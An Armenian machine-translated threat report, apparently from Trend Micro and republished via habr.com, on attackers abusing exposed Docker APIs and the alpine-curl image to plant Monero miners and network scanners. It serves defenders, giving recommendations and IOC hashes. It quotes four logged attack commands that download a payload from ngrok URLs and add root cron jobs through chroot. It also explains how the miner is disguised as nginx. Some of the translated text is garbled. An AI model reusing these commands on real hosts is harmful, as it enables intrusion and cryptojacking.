Ինչպես են Docker's Open API-ն և համայնքի վրա հիմնված հանրային պատկերները օգտագործվում կրիպտոարժույթի հանքագործներ բաշխելու համար

Ինչպես են Docker's Open API-ն և համայնքի վրա հիմնված հանրային պատկերները օգտագործվում կրիպտոարժույթի հանքագործներ բաշխելու համար

Մենք վերլուծել ենք սպառնալիքները վերահսկելու համար ստեղծված honeypot կոնտեյներներից հավաքված տվյալները և հայտնաբերել ենք անցանկալի կամ չարտոնված կրիպտոարժույթի հանքագործների զգալի ակտիվություն, որոնք տեղակայված են որպես խարդախ կոնտեյներներ՝ օգտագործելով համայնքում հրապարակված Docker Hub պատկերը: Պատկերն օգտագործվում է որպես կրիպտոարժույթի հանքարդյունաբերության վնասակար ծրագիր մատակարարող ծառայության մաս:

Բացի այդ, տեղադրվում են ցանցերի հետ աշխատելու ծրագրեր՝ հարևան բաց կոնտեյներներ և ծրագրեր ներթափանցելու համար։

Մենք մեր մեղրեփոթերը թողնում ենք այնպես, ինչպես կան, այսինքն՝ լռելյայն կարգավորումներով, առանց որևէ անվտանգության միջոցառում կատարելու կամ լրացուցիչ ծրագրաշարի հետագա տեղադրման: Խնդրում ենք նկատի ունենալ, որ Docker-ը առաջարկություններ ունի սկզբնական կարգավորման համար՝ սխալներից և պարզ խոցելիություններից խուսափելու համար: Սակայն օգտագործվող մեղրեփոթերը կոնտեյներներ են, որոնք նախատեսված են կոնտեյներացման հարթակին ուղղված հարձակումները հայտնաբերելու համար, այլ ոչ թե կոնտեյներների ներսում գտնվող հավելվածներին:

Հայտնաբերված չարամիտ գործունեությունը նաև նշանակալի է, քանի որ այն չի պահանջում խոցելիություններ և անկախ է Docker տարբերակից: Սխալ կարգավորված և, հետևաբար, բաց կոնտեյների պատկեր գտնելը բավական է մի քանի բաց սերվերներ վարակելու համար հարձակվողներին:

Բաց Docker API-ը թույլ է տալիս օգտատիրոջը կատարել լայն շրջանակի թիմերը, ներառյալ աշխատող կոնտեյներների ցանկի ստացումը, որոշակի կոնտեյներից գրանցամատյանների ստացումը, մեկնարկը, կանգնեցումը (ներառյալ պարտադրվածը) և նույնիսկ որոշակի պատկերից նոր կոնտեյների ստեղծումը՝ նշված կարգավորումներով։

Ինչպես են Docker's Open API-ն և համայնքի վրա հիմնված հանրային պատկերները օգտագործվում կրիպտոարժույթի հանքագործներ բաշխելու համար
Ձախ կողմում վնասակար ծրագրի առաքման մեթոդն է։ Աջ կողմում հարձակվողի միջավայրն է, որը թույլ է տալիս հեռակա կերպով պատկերի գլորում։

Ինչպես են Docker's Open API-ն և համայնքի վրա հիմնված հանրային պատկերները օգտագործվում կրիպտոարժույթի հանքագործներ բաշխելու համար
3762 բաց Docker API-ների բաշխումը ըստ երկրների։ Հիմնված Shodan որոնման վրա՝ 12.02.2019-XNUMX-XNUMX-ի դրությամբ։

Հարձակման շղթայի և բեռնվածության տարբերակներ

Վնասակար գործունեությունը հայտնաբերել կարող էին ոչ միայն honeypot-ները։ Shodan-ի տվյալները ցույց են տալիս, որ բացահայտված Docker API-ների թիվը (տե՛ս երկրորդ գրաֆիկը) աճել է այն բանից հետո, երբ մենք ուսումնասիրեցինք Monero արդյունահանման ծրագրակազմը տեղակայելու համար որպես կամուրջ օգտագործվող սխալ կարգավորված կոնտեյներ։ Անցյալ տարվա հոկտեմբերին (2018թ., վերջին տվյալները կարող ես դրան նայել այսպես մոտ. թարգմանիչ) կար ընդամենը 856 բաց API։

Honeypot-ի գրանցամատյանների ուսումնասիրությունը ցույց տվեց, որ կոնտեյների պատկերի օգտագործումը նույնպես կապված է օգտագործման հետ։ նգրոկ, գործիք՝ անվտանգ կապեր հաստատելու կամ հանրային հասանելի կետերից դեպի նշված հասցեներ կամ ռեսուրսներ (օրինակ՝ localhost) տրաֆիկը վերահասցեավորելու համար։ Սա թույլ է տալիս հարձակվողներին դինամիկ կերպով ստեղծել URL-ներ՝ բաց սերվերին օգտակար բեռներ մատակարարելիս։ Ստորև բերված են ngrok ծառայության չարաշահման մասին գրանցամատյաններից վերցված կոդի օրինակներ։

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Ինչպես տեսնում եք, վերբեռնված ֆայլերը ներբեռնվում են անընդհատ փոփոխվող URL-ներից: Այս URL-ները կարճ ժամկետ ունեն, ուստի օգտակար բեռները չեն կարող ներբեռնվել ժամկետանց ամսաթվից հետո:

Կան երկու օգտակար բեռնման տարբերակ։ Առաջինը ELF ձևաչափով կոմպիլյացված մայներ է։ Linux (նույնականացված որպես Coinminer.SH.MALXMR.ATNO), որը միանում է մայնինգի լողավազանին: Երկրորդը սկրիպտ է (TrojanSpy.SH.ZNETMAP.A), որը նախատեսված է ցանցային տիրույթները սկանավորելու և նոր թիրախներ որոնելու համար օգտագործվող որոշակի ցանցային գործիքներ ստանալու համար:

Սկրիպտի դրոպերը սահմանում է երկու փոփոխական, որոնք այնուհետև օգտագործվում են կրիպտոարժույթի մայներ տեղակայելու համար: HOST փոփոխականը պարունակում է URL-ը, որտեղ գտնվում են վնասակար ֆայլերը, իսկ RIP փոփոխականը տեղակայվող մայների ֆայլի անունն է (իրականում՝ հեշը): HOST փոփոխականը փոխվում է ամեն անգամ, երբ հեշով փոփոխականը փոխվում է: Սկրիպտը նաև փորձում է ստուգել, որ հարձակման ենթարկված սերվերի վրա չեն աշխատում այլ կրիպտոարժույթի մայներներ:

Ինչպես են Docker's Open API-ն և համայնքի վրա հիմնված հանրային պատկերները օգտագործվում կրիպտոարժույթի հանքագործներ բաշխելու համար
HOST և RIP փոփոխականների օրինակներ, ինչպես նաև կոդի մի հատված, որն օգտագործվում է որպես ստուգում, որ այլ հանքագործներ չեն աշխատում։

Մայները գործարկելուց առաջ այն վերանվանվում է nginx: Այս սկրիպտի այլ տարբերակները վերանվանում են մայները՝ ընտրելով միջավայրում առկա այլ օրինական ծառայություններ: LinuxՍա սովորաբար բավարար է գործող գործընթացների ցանկում ստուգումները շրջանցելու համար։

Որոնման սկրիպտն ունի նաև իր սեփական առանձնահատկությունները։ Այն աշխատում է նույն URL ծառայության հետ՝ անհրաժեշտ գործիքները տեղակայելու համար։ Դրանց թվում է zmap բինար ֆայլը, որն օգտագործվում է ցանցերը սկանավորելու և բաց միացքների ցանկը ստանալու համար։ Սկրիպտը նաև ներբեռնում է մեկ այլ բինար ֆայլ, որն օգտագործվում է գտնված ծառայությունների հետ փոխազդելու և դրանցից բաններներ ստանալու համար՝ գտնված ծառայության մասին լրացուցիչ տեղեկություններ (օրինակ՝ դրա տարբերակը) որոշելու համար։

Սկրիպտը նաև նախապես սահմանում է սկանավորելու համար որոշ ցանցային տիրույթներ, բայց դա կախված է սկրիպտի տարբերակից: Այն նաև սահմանում է թիրախային միացքները ծառայություններից՝ այս դեպքում՝ Docker-ից՝ սկանավորումը կատարելուց առաջ:

Երբ հայտնաբերվում են պոտենցիալ թիրախներ, պաստառները ավտոմատ կերպով հեռացվում են դրանցից: Սկրիպտը նաև զտում է թիրախները՝ հիմնվելով այն ծառայությունների, ծրագրերի, բաղադրիչների կամ հարթակների վրա, որոնցով հետաքրքրված է. Redis, Jenkins, Drupal, MODX, Կուբեռնետեսի վարպետ, Docker client 1.16 և Apache CouchDB: Եթե սկանավորված սերվերը համապատասխանում է դրանցից որևէ մեկին, այն պահվում է տեքստային ֆայլում, որը հարձակվողները կարող են օգտագործել հետագա վերլուծության և կոտրման համար: Այս տեքստային ֆայլերը բեռնվում են հարձակվողների սերվերներ դինամիկ հղումների միջոցով: Այսինքն՝ յուրաքանչյուր ֆայլի համար օգտագործվում է առանձին URL, ինչը նշանակում է դժվարություններ հետագա մուտքի հետ կապված:

Օգտագործված հարձակման վեկտորը Docker-ի պատկեր է, ինչպես կարելի է տեսնել հետևյալ երկու կոդի հատվածներում։

Ինչպես են Docker's Open API-ն և համայնքի վրա հիմնված հանրային պատկերները օգտագործվում կրիպտոարժույթի հանքագործներ բաշխելու համար
Վերևում նշված է անվանափոխությունը օրինական ծառայության, իսկ ստորև ներկայացված է, թե ինչպես է zmap-ը օգտագործվում ցանցերը սկանավորելու համար։

Ինչպես են Docker's Open API-ն և համայնքի վրա հիմնված հանրային պատկերները օգտագործվում կրիպտոարժույթի հանքագործներ բաշխելու համար
Վերևում նախապես սահմանված ցանցային տիրույթներն են, ներքևում՝ որոնման ծառայությունների, այդ թվում՝ Docker-ի համար նախատեսված հատուկ միացքները։

Ինչպես են Docker's Open API-ն և համայնքի վրա հիմնված հանրային պատկերները օգտագործվում կրիպտոարժույթի հանքագործներ բաշխելու համար
Էկրանի նկարը ցույց է տալիս, որ ալպյան գանգուրների պատկերը ներբեռնվել է ավելի քան 10 միլիոն անգամ։

Հիմնված Alpine-ի վրա Linux և curl-ը՝ տարբեր արձանագրությունների միջոցով ֆայլերը փոխանցելու համար նախատեսված ռեսուրսարդյունավետ CLI գործիքը, կարող է կազմվել։ Դոկերի պատկերԻնչպես տեսնում եք նախորդ նկարում, այս պատկերն արդեն ներբեռնվել է ավելի քան 10 միլիոն անգամ: Ներբեռնումների մեծ քանակը կարող է ցույց տալ, որ այս պատկերն օգտագործվում է որպես մուտքի կետ, այս պատկերը թարմացվել է կես տարուց ավելի առաջ, և այս պահոցում գտնվող այլ պատկերները օգտատերերի կողմից այդքան հաճախ չեն ներբեռնվել: Docker-ում մուտքի կետ — հրահանգների ամբողջություն, որն օգտագործվում է կոնտեյների մեկնարկի համար կարգավորելու համար: Եթե մուտքի կետի կարգավորումները սխալ են (օրինակ՝ կոնտեյները մնում է բաց ինտերնետի համար), պատկերը կարող է օգտագործվել որպես հարձակման վեկտոր: Հարձակվողները կարող են այն օգտագործել բեռ հասցնելու համար, եթե գտնեն չաջակցվող, սխալ կարգավորված կամ բաց կոնտեյներ:

Կարևոր է նշել, որ այս պատկերը (ալպյան գանգուր) ինքնին վնասակար չէ, բայց ինչպես կարող եք տեսնել վերևում, այն կարող է օգտագործվել վնասակար գործառույթներ կատարելու համար: Նմանատիպ Docker պատկերները նույնպես կարող են օգտագործվել վնասակար գործողություններ կատարելու համար: Մենք կապ ենք հաստատել Docker-ի հետ և աշխատում ենք նրանց հետ այս խնդրի շուրջ:

Առաջարկություններ

Սխալ կարգավորում մնացորդները մշտական խնդիր շատ ընկերությունների համար, հատկապես նրանց համար, ովքեր իրականացնում են DevOps, կենտրոնացած արագ մշակման և մատակարարման վրա: Սա բարդանում է աուդիտի, մոնիթորինգի, տվյալների գաղտնիության պահանջներին համապատասխանելու անհրաժեշտությամբ և չկատարելու հսկայական ծախսերով: Անվտանգության ավտոմատացման ներառումը մշակման կյանքի ցիկլում ոչ միայն օգնում է գտնել անվտանգության բացեր, որոնք այլապես կարող էին աննկատ մնալ, այլև նվազեցնում է ավելորդ աշխատանքային ծանրաբեռնվածությունը, ինչպիսին է լրացուցիչ ծրագրային ապահովման տարբերակների գործարկումը ծրագրի տեղակայումից հետո հայտնաբերված յուրաքանչյուր խոցելիության կամ սխալ կարգավորման համար:

Այս հոդվածում քննարկված միջադեպը ընդգծում է անվտանգությանը սկզբից անդրադառնալու անհրաժեշտությունը, ներառյալ հետևյալ առաջարկությունները.

  • Համակարգի ադմինիստրատորների և մշակողների համար. Միշտ ստուգեք ձեր API կարգավորումները՝ համոզվելու համար, որ ամեն ինչ կարգավորված է միայն որոշակի սերվերից կամ ներքին ցանցից հարցումներ ընդունելու համար:
  • Հետևեք նվազագույն արտոնության սկզբունքին. համոզվեք, որ կոնտեյներների պատկերները ստորագրված և ստուգված են, սահմանափակեք կարևոր բաղադրիչներին մուտքը (կոնտեյներների գործարկման ծառայություն) և ավելացրեք ցանցային կապերի կոդավորումը։
  • Հետևեք առաջարկություններ և ակտիվացնել անվտանգության մեխանիզմներ, ինչպիսիք են՝ Docker-ից և ներկառուցված անվտանգության առանձնահատկություններ.
  • Օգտագործեք կատարման ժամանակների և պատկերների ավտոմատացված սկանավորում՝ կոնտեյներում աշխատող գործընթացների մասին լրացուցիչ տեղեկություններ ստանալու համար (օրինակ՝ կեղծարարությունը հայտնաբերելու կամ խոցելիություններ գտնելու համար): Ծրագրերի վերահսկումը և ամբողջականության մոնիթորինգը օգնում են հետևել սերվերների, ֆայլերի և համակարգի տարածքների աննորմալ փոփոխությունների:

Trendmicro-ն օգնում է DevOps թիմերին անվտանգ կառուցել, արագ առաքել և աշխատել ամենուրեք։ Trend Micro Հիբրիդային ամպային անվտանգություն Ապահովում է հզոր, արդյունավետ և ավտոմատացված անվտանգություն կազմակերպության DevOps խողովակաշարի ներսում և ապահովում է սպառնալիքներից պաշտպանվելու բազմաթիվ եղանակներ։ XGen պաշտպանելու ֆիզիկական, վիրտուալ և ամպային աշխատանքային բեռները աշխատանքի ընթացքում: Այն նաև ավելացնում է կոնտեյների պաշտպանություն՝ Խորը անվտանգություն и Խորը անվտանգության խելացի ստուգում, որոնք սկանավորում են Docker կոնտեյներների պատկերները վնասակար ծրագրերի և խոցելիությունների հայտնաբերման համար մշակման գործընթացի ցանկացած պահի՝ սպառնալիքները կանխելու համար նախքան դրանց տեղակայումը։

Փոխզիջման նշաններ

Առնչվող հեշեր՝

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

On Docker-ի տեսադասընթաց գործնական ելույթ ունեցողները ցույց են տալիս, թե ինչ կարգավորումներ պետք է նախ կատարվեն՝ վերը նկարագրված իրավիճակի առաջացման հավանականությունը նվազագույնի հասցնելու կամ լիովին խուսափելու համար: Իսկ օգոստոսի 19-21-ը՝ առցանց ինտենսիվ դասընթացի ժամանակ DevOps գործիքներ և հնարքներ Դուք կկարողանաք քննարկել այս և նմանատիպ անվտանգության հարցերը գործընկերների և գործող ուսուցիչների հետ կլոր սեղանի շուրջ, որտեղ բոլորը կկարողանան արտահայտվել և լսել փորձառու գործընկերների դժվարություններին ու հաջողություններին։

Source: www.habr.com

Գնեք հուսալի հոստինգ DDoS պաշտպանությամբ կայքերի, VPS VDS սերվերների համար 🔥 Գնեք հուսալի կայքերի հոսթինգ՝ DDoS պաշտպանությամբ, VPS VDS սերվերներով | ProHoster